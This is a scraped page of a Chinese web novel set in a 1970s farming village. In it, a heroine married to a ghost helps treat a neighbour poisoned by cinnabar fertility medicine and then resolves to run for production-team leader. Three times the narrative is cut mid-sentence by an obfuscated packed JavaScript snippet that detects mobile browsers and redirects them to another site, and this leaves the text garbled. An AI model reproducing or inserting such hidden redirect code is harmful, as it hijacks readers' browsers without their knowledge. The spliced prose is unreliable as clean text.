这只小狗是清晨时李霖时抱回来的,他还复述了一遍牛头交给他时说的话。 “毕竟是真的杀了人,惩罚还是要有的,一世做畜生,不过再转世就能重新做人了。” “俺们也真的从轻发落了,不然动物多得是,当任人宰割的猪、羊、鸡,当人人喊打的老鼠……怎么不是一辈子呢。” “在哪儿不是看门护院,我想如果可以她还是更想回到这里吧。” 钟颖颔首,肯定了钟妮的猜想,“好好照顾它吧。” 泪水瞬间盈满了钟妮的大眼睛,她不住的点头,语无伦次的重复着,“我会的、我会的……” 钟颖伸手摸了摸小黄狗的脑袋,幸福安乐的度过一生后再重新做人吧。 发自真心的祝愿。 —— 人的去世,就像突如其来的一场暴雨,雨停了,地是湿的,但随着时间的流逝,地面总有干透的时候。 正如恢复往日平静生活的同甘生产队,除了颖山半山坡的众多坟包中多了一个新的,一切与从前没什么变化。 这天下工后,钟颖又溜达着回娘家了,手里还拎了一网兜的鱼。 一进家门,钟春生看到闺女手里拎着的鱼,不禁惊诧,“你啥时候去河里捞的鱼?” 不久前地里劳作的人们才各自回家休息,钟春生回到家也才刚洗了一把脸,这点功夫他闺女就得了一兜子的鱼,而且鱼哪是那么容易就能捞到的。 尽管同甘生产队紧挨着甘霖河,没吃没喝的日子里野菜、树皮都能端上饭桌,河里的鱼自然也逃不了,只是要更费些功夫和力气。 对比她爹的惊讶,钟颖倒是淡定,“哦,你女婿给的。” 钟春生,“……” 显然李霖时讨好老丈人的行径并没有改善多少他在钟春生那里的形象,钟春生对他观感依旧很差,这个硬逼着自己闺女嫁给他、给他守一辈子活寡的死鬼,钟春生宁肯饿死也不会吃他的东西。 摊得酥黄的面饼卷煎小白鱼,农家日常里难得的荤腥菜,钟春生却一筷子都没碰,只默默去夹面前那盘炒白菜,不待见的意味明显。 背锅的李霖时目光幽幽的看向钟颖。 钟颖只当没看见,径自捏着面饼卷上煎炸过的小白鱼,她倒是吃得香。 在丈母娘那里,他也是“贼”。 饭后,邓霞又拉着钟颖私底下老生常谈的问那几个问题,“没让他碰你吧?”、“千万别搞出什么鬼胎”……简直像防贼。 钟颖一言难尽,不知道该怎么和她娘说她才是被防的那个,死鬼让亲不让碰,即便吻得再凶,也能忍住不进行下一步。 “有苦难言”的钟颖溜之大吉,跑出屋子去找她嫂子说话。 苗素云洗过碗后陪着儿子在院子里玩,钟颖过来的时候,就见一大一小并排蹲在地上,钟国强小手攥着一根木棍,正在土地上写着自己的名字。 “这是‘国’,这是‘强’。”小国强一边写,一边奶声奶气的念着。 苗素云也捏着根木棍,学着儿子的动作,在地上描画着。 钟颖走过来看了一眼,苗素云照葫芦画瓢,还真把字都写对了,“嫂子,你愿意学的话,有空也可以去托儿所听听课。” 苗素云下意识的拒绝,像是听到了什么好笑的事,“我去干啥?那儿不是教小孩的地方吗?我都是大人了。” “学习又不分年纪大小,几岁开始学都不晚。”钟颖随口说道,“最近大班开始教孩子们写自己的名字,小班的孩子们都跟着跑去学。” 小班的钟国强在一旁附和的用力点头,证实姑姑所言非虚。 “二妮和她的两个妹妹、还有刘家的小喜梅也逮着空了就往托儿所跑……杨知青高兴着呢,她巴不得能有更多的人来跟着她学习识字认字。” 钟颖不是夸大其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16713443|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 词,而是说的实话。杨美娟继一门心思在田间搞生产后,转变到新的建设乡村道路上也是卯足了干劲儿,恨不得能一口气让同甘生产队的所有人都能认字识字,不负她“知青”的光荣身份。 要钟颖看,估计用不了多长时间,托儿所的大班都要变成识字班了。 不过她也乐见其成,这是好事。 钟颖又接着劝起来她嫂子,“别觉得和这些小不点儿一块学认字不好意思,有啥的,想学就去学,学习又不是什么丢人的事。认字麻烦还是不认字麻烦?不认字就像两眼一抹黑,信读不了、语录本也看不了。” 苗素云被她说动了,“那、那我有空就过去听听。” 钟国强高兴得弹起来直蹦,“娘明天就和我一起去!我们一起去学习!” 苗素云笑着看儿子兴奋的满院子蹦蹦跳跳,半晌后她脸上的笑容微敛,犹豫的看向钟颖,说起自己最近一直有些牵挂的事,“……这两个月家里都没有收到你哥寄回来的信。” 钟颖吃惊,那算一算,岂不是钟诚上次寄回来的信就是那封给她的“吼叫信”? 这确实不同寻常,钟诚其实是个很恋家的人,当兵以来基本上每个月都要往家里寄信,零零碎碎什么事都会往信里写,钟颖还曾在心里吐槽过,这哥是把信当日记来写了吧。 两个月没有收到他寄回家的“日记”,这事确实令人不安。 钟颖不禁眉头紧锁,可现在通信不便,当一方失联,就仿佛泥牛入海,很难再获得他的消息。 而且这个时代可不是未来国力强盛、泱泱大国不容侵犯,现在国家还是“孩子”,国际局势是以大欺小,并没那么和平,钟颖一下子像是从宁静生活中清醒过来,曾经收到解放鞋、绿挎包的喜悦荡然无存,只剩下对她哥的担忧。 钟颖第一次切身体会到曾经看过的那句话,一切的岁月静好,都是有人在替你负重前行。 她在村子里过着宁静致远、宛若桃花源一般的种田生活,甚至她家靠着多了个军属身份在生产队的日子都比过去好过了许多,但她哥在外面还不知道遇上了怎样艰难的事情,以至于两个月没有音讯。 钟颖的心情一下子变得沉重。 这一刻她突然理解了那些求神拜佛的人,有时候人在茫然无措、无能为力的时候,是真的需要一些心灵上的慰藉,求的不是神,而是求一个安心。 尽管心中惴惴不安,钟颖努力装作无事的样子,安慰苗素云,“兴许是信在路上丢了,又或者是我哥最近太忙了,就像我前一阵一样,一到家累得倒头就睡。嫂子你别太担心,这不是还有山神娘娘保佑,我哥不会有事的。” 苗素云对小姑子很信服,“那我们改天抽空再去上上香,求山神娘娘保佑你哥在外面能够平安……” 正说着话,突然有人拍了拍钟家的大门,不等人来开门就朝里面喊话。 “颖妮儿,出事了!”门外是李家大嫂田梅的声音,“满仓媳妇昏过去了,看着情况不太好,爹叫我来找你,让你也赶快过去看看!” 钟颖心里一惊,隔壁也听到了田梅着急的声音,几乎和钟颖同时拉开院门。 聂英着急的追问,“我家大妮怎么了?” “在河边洗衣服的时候突然就昏倒了,”田梅也很慌,她被吓得不轻,“中间醒过来了一小会儿,但是吐了,这会儿人又没有意识了!” 59. 野心出鞘 听田梅说的这样严重,聂英倒抽了一口冷气,踉跄的后退,还好身后有范二妮、范招娣姐妹俩把她扶住。 “这可怎么办,”聂英慌了神,六神无主,“山神娘娘保佑、山神娘娘……” 钟颖无奈,这种时候就别求山神娘娘了吧。 虽然刚刚钟颖也动过求山神娘娘保佑她哥平安无事的念头,但这就和临考前拜考神、上班拜财神一样,比起求神更像是许愿,真的事到临头,考试还是要人自己考、工资也是看个人业绩,再到眼下这种情况,比起求山神娘娘保佑,还是先求求大夫救命吧。 “有人去叫聂大嫂子了吗?”钟颖一边问,一边匆匆往外走。 田梅连忙回答弟妹,“叫了,福顺家的去叫了。” 钟颖稍稍松了一口气,这就是生产队里有医生的底气,也幸好现在已经是临近晚上,聂金龙和姚东秀两口子已经结束了白天在公社卫生所医疗培训班的学习回来了。 天色暗淡,是介于白天与黑夜之间的灰暗,这个时间还不需要点灯,人的肉眼尚能视物,就是看不太清楚,钟颖走得太急一时没留意,被地面上凸起的半块石头绊了个踉跄。 在其他人眼中,钟颖身形不稳向前要摔倒,但很快她自己又站稳了。 只有钟颖自己知道,是李霖时及时闪现在她面前接住了她。 “急什么,”李霖时眉头轻拧,“聂大哥家和二表哥家只隔了一户人家,聂大嫂子肯定先到了。” 钟颖胡乱的点点头,这点她当然也能想到,但关心则乱。 虽然邓霞和聂英互掐了大半辈子,但邻里两家的小辈们算是一起长大的,关系其实挺好。钟颖上头只有钟诚一个哥哥,范大妮就是异父异母的姐姐。 钟颖一路疾行走到村子中后段位置的一处房屋,自打院门口就闹哄哄的,显露出不同寻常的气氛。 她脚步不停,直接往里进,在屋子里果然看到了坐在床边的姚东秀,钟颖又去看躺在床上的范大妮,果然见其脸色难看。 “怎么样了?”钟颖立刻问道。 姚东秀脸色沉着,“我先把她衣领扣子解开了,保持呼吸通畅,我觉得像是中毒。” 周围的人纷纷抽了口气,中毒? “我们一大家子人一块儿吃的饭,老二家的怎么会中毒?”刘强皱紧眉头,不解道。 一旁的刘福顺扭头就去看弟弟,着急的问,“是不是你们回来又吃啥了?” 干着急但又帮不上什么忙的刘满仓心系床上昏迷着的媳妇,闻言才分出神来,略一思考,“吃完饭后回家大妮是又喝了药。” “药?”聂英惊讶,“我咋不知道我闺女生病了?” 刘满仓有些难言,“是……是喝了能生儿子的药。” 一时之间所有人的目光都落到刘满仓的身上,令他羞窘万分,垂下头去,恨不得眼睛能在地上找条地缝钻进去。 姚东秀迅速地说,“药材还有剩下的吗?快拿给我看看!” 刘满仓连忙去找,一头扎进厨房里拿出来一个小布包,小心地翻开折叠盖在上面的四个布角,递给姚东秀。 姚东秀翻了翻布巾包着的药材,她都认识,姚家世代都懂点医术,传承的就是中医,她的目光定在其中一位药材上,“朱砂……你俩可真是胡来啊……快,给我拿个鸡蛋来!” 靠近门边的胡打听和林淑红连忙转身去院子里面的鸡窝摸蛋,不一会儿,还带着温度的鸡蛋就到了姚东秀的手上。 给范大妮喂了蛋清做急救,姚东秀这才有空擦了擦自己额上的汗,转过身子对刘满仓说,“服用含朱砂的药物是会汞中毒的,这药你媳妇吃多久了?” “有半个月了,严重吗?”刘满仓说。 姚东秀没好气的睨他一眼,“差一点儿就没媳妇了,你说严重不?” 刘满仓顿时冷汗都冒出来了,经这一遭他被吓得不轻,他和范大妮有夫妻情分、还有三个孩子,他只是想要儿子,并不是想要当鳏夫。 “鸡蛋清只是暂时解毒,还要去公社卫生所注射5%二巯丙磺钠溶液,每日一次,连用三天……”说到后面这些,就是姚东秀这些日子新学到的西医知识了,她忍不住斥责刘满仓,“哪有什么生子药,讲求科学,生男生女是有基因决定的,生男孩的基因是由男性提供的,别生不出儿子都怪女人……” 危机解除,众人都松了口气,聂英也终于从四肢发软的状态下恢复了战斗力,不饶人的扑上去要扇女婿,“你个小瘪仔子,为了生儿子差点让我闺女喝药喝死……” 周围的人连忙去拉架,一时之间屋子里又乱了起来。 林淑红一边去拉亲家,一边替儿子道歉,很是心累,她现在越来越觉得儿子多也并不是什么好事。 作为生产队儿子最多的人,林淑红细数一下。 大儿子刘福顺,对媳妇动手,闹得险些牵连他几个弟弟都不好找媳妇; 二儿子,就是眼下被扇的刘满仓,乱来!真的是乱来,差一点就成了鳏夫; 三儿子刘广田,前些日子陪新媳妇回门,不知道劝着点,直接让老丈人喝多酒喝死了; 四儿刘丰收,之前跑去纠缠女知青,闹了个没脸; 小儿子刘来财,简直想和他妹妹性格掉了个个,小子不像小子、闺女不像闺女。 林淑红低三下气的赔不是,忍不住在心里重重的叹了口气,越发怀疑,养儿子到底有什么好的?五个!她有五个儿子!没一个是省心的! 二儿还在像个愣头青一样辩解,“是大妮四处打听来的生子药,从她妹妹被退亲后,她就开始打听了……” 聂英听到这话反倒是歇了火气,任由邓霞和刘红艳把她拉开,二妮被退亲之后,耿耿于怀的又何止是大妮一个人。 钟颖站出来为这出闹剧画下尾声,“行了,往后生产队里别再有人喝什么‘生子药’,我看等哪天下雨不上工,真要让东秀姐好好给大家伙儿上一课,从科学的角度讲讲生儿生女是由什么决定的。” 落后愚昧就是原罪。 刘满仓把人们都送出家门,又额外向姚东秀道谢,“今天多亏了你,嫂子,明天还要麻烦你和金龙哥带大妮去卫生所输液,我真是不知道该怎么感谢你好。” 他局促的搓着手。 姚东秀倒也不在意,她又不是为了被人感谢才救人的,“没事,等你媳妇醒了,让她多喝水,这样能加快有毒物质的排出。” 刘满仓连连应声,他又看到钟颖,连忙说,“还要谢谢颖妮儿。” 曾经他也听李钢时把钟颖的所作所为当笑话,但现在,刘满仓真的在心中庆幸,还好钟颖坚持,生产队里有个女大夫是好事。今天要换做是聂金龙过来救人,他怕是会站在范大妮床边畏手畏脚、碰都不敢多碰,更不用说是解扣子保持呼吸通畅、喂蛋清解毒了。 刘满仓把人都送走,又不停歇的去照看孩子们了。 离开刘满仓家,人们一边还在说着刚刚发生的事情,一边走到各自家门口分别,越往村口走,路上的人越少,最后就只剩下李明、刘红艳老两口和李刚时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16718552|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、田梅夫妻俩,还有钟颖五人,嗯,再加上一鬼。 月亮高悬,刘红艳唏嘘,“都是为了儿子惹出来的祸端……” 李钢时没吭声,心中暗暗庆幸他是有儿子的,没有这种烦恼。 田梅也没说话,只是心中难免有些兔死狐悲的感伤。 李明沉思,“颖妮儿说得对,确实要给社员们好好上一课,从科学的角度讲讲,以免将来还会有这样的事情发生。颖妮儿,这事你要记得办。” 钟颖像上课走神被突然点到名字一样,“啊,好的。” 老少两队夫妻回了李家房子,钟颖则是回了隔壁自己的家。 “你在想什么?”李霖时问着,细细观察钟颖的神色,“你看着好像不太高兴,因为今天这件事?” 钟颖没进屋子,只在院子里的一块晾萝卜干的青石板上坐下,闷闷的嗯了一声。 她看着她们像活在沼泽地里,苦苦挣扎着生存。 其实从很早之前就有迹可循,只是钟颖一心躺平,没有去深思。 大伯娘为什么执着于看到钟妮嫁人才愿意离开,因为女人的命运全系于男人身上,像她所嫁非人,一辈子都毁了; 李长贵因为是儿子,还是唯一的儿子,被过度的看护而失去喘息的空间,困死在了村子里; 聂金龙不用做什么就能获得一个医疗培训的机会,而同样的机会对于姚东秀而言,却要首先解决家庭、孩子等种种问题; 范大妮为了能生儿子,去喝那劳什子的“生子药”,险些把自己的命搭上…… 种种事情,归根究底还是因为这个时代的主流思想——重男轻女,现在是个男权当道的社会。 男人掌握绝大多数的话语权,打个比方,就拿同甘生产队来说,在这个缩小版的社会圈子里,生产队长是男人,仓库保管员是男人,掌握社员命根的记分员也一直以来都是男性,在钟颖当上妇女队长之前,只有饲养员是女性,而聂金凤能管的也只是生产队里的四头牛、九头猪。 就连钟颖这个妇女队长,听上去也算是个队长,但说话只在妇女中管用。 这仿佛成为一种普遍现象,女性即使能够进入管理层,也大多任职一些边缘、辅助性的职位。 权柄仍掌握在男人手里,所以这个社会重男轻女。 自古至今的男权统治让绝大多数女人“认了命”,自牙牙学语时就在接受这种规训,默认男人的份量就是比女人重。 但钟颖见过未来,各行各业的女性先驱不断力争上游,增加女人的权重,历时几十年,才让这性别的天平在现代时终于勉强平衡。 钟颖想得出神,喃喃道,“既然总要有人来做……” 有什么东西像火星点子一般在她心中亮起。 “为什么我不去做?从现在开始……” 钟颖扪心自问。 不积跬步无以至千里,这个道理她明明知道的。 李霖时没听懂她是在说什么,“做什么?” “我要……”钟颖直直看向他,飘忽的语气慢慢变得坚定,“我要你没能坐到的那个位置。” 钟颖面容平静,野心锐气自她眼中骤然迸发。 昙花盛开是美,月光下利剑出鞘同样是一种令人神魂颤动、为之折服的美。 李霖时看着钟颖,无意识的喉结滚动,他也不能幸免,即便他已经爱她,但仍再一次为她倾倒。 钟颖第一次对权力不是厌恶,而是生出一种渴望。 “我要做生产队的队长。”她说。 60. 优势 钟颖并不只是说说而已,她是认真的把“成为同甘生产队下一任队长”放进了自己的人生规划里。 一个女性掌权者,不用多说都可以想象到其代表的意义和带来的影响,就像钟颖可以预见生产队里能够有一名女赤脚大夫会有多少好处。 就算影响也许有限,说不准只能影响一个村子的人们,但同甘生产队有钟颖,其他生产队也迟早会有别的女性站起来,一个又一个的蚂蚁贡献出自己的一份力量,才能够撼动大树。 打破性别壁垒,从来就不是个人英雌主义的凯歌,而是“她们”一同努力挣出的半边蓝天。 钟颖细细盘算着成为同甘生产队的下一任队长这事。 首先,现任生产队队长李明今年五十四岁,这个年纪的现代人会戏谑的调侃一句自己半截入土,但放在当下,六十九岁的三姑婆可是同甘生产队上最长寿的人,说得地狱一些,李明其实可以说是三分之二入土。 所以李明这个年纪已经可以算是步入老年,就像之前社员选举会上范五推辞心有余而力不足、不想再当记分员一样,李明或早或晚也会从生产队队长的这个位置上退下来的,衰老是人类无法自然法则。 “狮王”已老,继任者会是谁呢? 钟颖脑海中将生产队的社员们一个个考虑过后,如麦子过筛,最后只留下了一个人选——李钢时。 虽然在钟颖看来,李钢时傲慢(瞧不起女人)、虚伪(人前人后两幅面孔)、固化(墨守陈规、不喜改动),但是,如果李明退下来,生产队的社员们大概率会投票给李钢时,让他成为新一任队长。 李钢时的优势和他身上的缺点一样的明显。 他是李明的儿子,而李明作为同甘生产队队长这么些年尽职尽责,民众对他的信任度很高,天然的,这份好感会转移到李钢时身上; 生产队人们的受教育程度普遍不高,也就年轻一代因为李明组建起了村小上过几天学,而李钢时,生长在一个重教育的家庭,他是读完了初中的,属于生产队里文化比较高的人; 第三,他是男的。 最后一点虽然简短,但钟颖换位想想,假设她与李钢时前两条优势条件一模一样,但真要是站在1v1的选举台上,社员们还是八成会把票投给李钢时,就因为他是男的,这是当下社会思想赋予他的加成。 当然,李钢时并不是一直都是这么有优势。 就在李霖时作为返乡知识青年回来后。 李明的儿子,李霖时也是;读过书有文化,李霖时也读过,他还读完了大学;男的,巧了,李霖时也是。 也不怪那段时间生产队的人们纷纷将李钢时抛之脑后,视李霖时为新的接班人。 接班人把手盖到钟颖的眼睛上,李霖时能清晰感受到薄薄一层眼皮下滴溜转的眼珠子,他无声的叹了口气,“还不睡吗?都这个时间了,再不睡明天一大早你还能起得来去上工吗?” 李霖时现在这副鬼样是不需要睡觉,可钟颖需要,并且她还喜欢早上赖床,李霖时已经可以预见明天早上叫钟颖起床会是怎样的困难程度。 钟颖翻了个身,与他面对面相对,睁开的眼睛比月亮还要灼灼。 虽然这么想有些缺德,但钟颖却在这一刻和李钢时有了同样的感触,她用看狗都深情的目光看着李霖时,“还好你死了。” 李霖时更无奈了,不用钟颖再次强调,他现在已经很清楚自己的优势是什么了。 他不会再患得患失与活人比较,也不会再动什么借尸还魂、抢别人身体的念头,李霖时在路上看到那些年轻男人,现在都是心如止水,因为他有别人都没有的优势——只有他是死的。 “好,我知道了,”李霖时又伸手强势的捂住钟颖的眼睛,语气中带着无可奈何的哄人,“睡觉吧。” 钟颖顺从的闭上眼睛,大脑皮层依旧活跃。 如果说李钢时是她成为生产队队长道路上的一块绊脚石,那李霖时就是拦路虎。 石头尚能搬动,老虎什么的,钟颖还没厉害到能做武松。 李霖时可是被生产队众人誉为“飞回来的金凤凰”,他个人光芒太盛,直接杀了比赛。 不过就如李钢时庆幸的那样,这样强有力的对手已经下桌,对于钟颖而言,她对上李钢时,还是有一战之力的。 李钢时是李明的儿子,钟颖还是半个闺女咧,女婿是半个儿、儿媳就不算了?四舍五入约等于钟颖就是李队长的闺女; 读过书这点,钟颖正经研究生毕业,她自认文化水平在整个生产队她排第一、没人能排第二,虽然从表面来看她只不过是村小学历,但这也是有文化啊; 最后,李钢时是男人,钟颖也……哦,她不是。 钟颖开始苦苦思索起第三条的应对方法,无屌之争对她来说非常不利,甚至这点会成为决定性因素,没办法,在这个年代、在这样一个小山村里,屌即高贵。 半晌后,钟颖才想出了一招——“利”。 古人有云,天下攘攘,皆为利往。 要让生产队的社员们不因为李钢时是个男的就把选票都投给他,那么钟颖就要拿出更能打动他们的东西,而利益带来的实打实的好处,大多数时候能战胜一切,包括不平衡的性别天平。 对于农民来说,什么是他们最实打实的利益呢——是地里的收成。 钟颖一个翻身压到李霖时身上,双眸晶亮,“我来实现你的理想吧!” —— 过了立夏,天气越发的炎热起来,正午太阳最毒的时候李明叫停了田间的劳作,让社员们去树荫下短暂的歇口气。 虽然就能休息十来分钟,钟颖还是从身上小立领短袖对襟衫的口袋里掏出一本笔记本,争分夺秒的看了起来。 李明走过来一瞧,怪不得他觉得眼熟,还真是他小儿子的笔记本。 “学习呐?”李明对着钟颖露出和善的微笑。 钟颖闻声抬眸,点了点头。 李明心中欣慰,一脸“孩子长大了、终于知道自己上进了”的表情,他一向严肃冷硬的面孔更加柔和,“能看懂吗?” 虽然这么问,但李明其实心里已经有答案了。小儿子死后,留下的那些书、笔记本,他和老大、老二都看过,毕竟小儿子学的是农业机械化,要是能给生产带来些助力也是好的,但他们都看得一知半解、脑袋发晕。 钟颖又点了点头。 其实让钟颖自己看,她也只能从笔记本里看出个李霖时字写得不错、画的机械结构图有着一种别样的工业美……她毕竟是个美术生,当年文理分科还是选的文。 但钟颖有“外挂”——专业老师一对一精心辅导。 李明眼中,钟颖安安静静地看笔记; 实际上,李霖时就站在钟颖旁边,一页页的给她讲,“深耕犁,是在七寸犁或八寸犁的犁头后面加装不同形式的松土铲。在耕地时,前犁头翻土,后面的松土铲跟着在前犁头耕过的沟里加深一层,只松土、不翻土。这样的好处是,一般能达到33-50公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723319|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分的耕深……” 钟颖努力在各个名词和数字之间保持清醒,虽然她已经听得有点晕了。 李霖时虚指着笔记本上画的示意图,“这是弯柱式双层深耕犁,在八寸犁上加装了一个用扁铁制成的弯形铲柱,扁铁尺寸为长100公分、宽5.5公分、厚1.5公分。在弯形铲柱的下端安装一个锄形15公分宽的锄铲,卡在调节齿板上……” 他一边说,修长的手指在图上移动,细致的告诉钟颖每一部分对应的位置,只是一扭头,李霖时便停住了声音。 “还能学吗?”李霖时看着双目无神的钟颖,有些担忧。 钟颖算一算,上一次上数学课还是高中的时候,她大学读的是美术学院,除了专业课就只剩下英语、政治这两门文化课,谁能想到穿越后还会感受理工科统治的恐惧啊! 但…… 钟颖甩了甩脑袋,努力让自己清醒一些,深吸了一口气,像鼓足勇气扎进水中一般,一头扎进了学海中。 她能学!农民的利益是地里的收成,而改良的农具能提高生产效率,决定了她能否拉拢民心、成为下一任队长的候选人! 只要学不死、就往死了学!谁也不能阻挡她的队长路! 李明看钟颖这样用功,悄悄走开不再打扰她,像万千家长一样:孩子知道学习就行,别管能不能学会、能不能学好,有这样的劲头就要鼓励!要支持! 就这样,钟颖开始了“上工—抽空学习—上工—回家学习”的生活,一边进行体力劳作、一边进行脑力劳动,比她现代时还要“卷”。 “早知道当年选专业不应该选游戏,应该选工业设计的,好歹沾点边……”钟颖扶着沉甸甸装了一脑袋知识的头,扶额叹息道。 这一个多礼拜,钟颖只觉重新认识了李霖时,不愧是同甘生产队全村的希望,他返乡回来确实带着学成的本事,可惜一身抱负还没付诸实践就遭了落水的劫难。 钟颖也深刻认识到了,话,上下嘴皮子一翻,说得轻巧,做起来难。 她来实现李霖时的理想? 虽然这是她为了自己能做生产队队长说来好听的话,但实践起来真的难,钟颖几次想要放弃,全靠意志力劝学。 她现在就像曾经的杨知青,不是那块料但硬是这么干,做自己不擅长的事,痛苦,忒痛苦! 钟颖无力的仰靠在椅背上,整个人静止了好几分钟,突然一个咸鱼打挺,“这样不行!” 她看向李霖时,“我要定几个奖励机制,把每一部分内容分划成一个关卡,学会就是通关,通关后会有通关奖励……” 游戏钓着玩家肝日常靠的是什么,靠的就是奖励啊! 学习太苦,她要给自己找点甜头。 钟颖不愧是曾经做游戏的,把游戏的那一套引进学习中,干涸的精神一下子重新亢奋起来。 李霖时听着附和的点点头,这样也好,然后就听钟颖继续说。 “学完畜力牵引机部分,奖励我枕在你的腹肌上睡觉,浴巾装的那种。” “学完改良播种犁,奖励捏胸肌,我好奇是软还是硬的很久了。” “学完刺磙子和活动耙,奖励亲手摸索研究背肌的肌肉走向。” 钟颖把笔记本的纸页翻得簌簌作响,越说越兴奋。 “双轮犁改装收割机,奖励独享男喘一段……” 这都什么跟什么,李霖时恼羞成怒的一把捂住钟颖的嘴,照她这么说下去,他都要被扒光了、翻来覆去被她这样那样!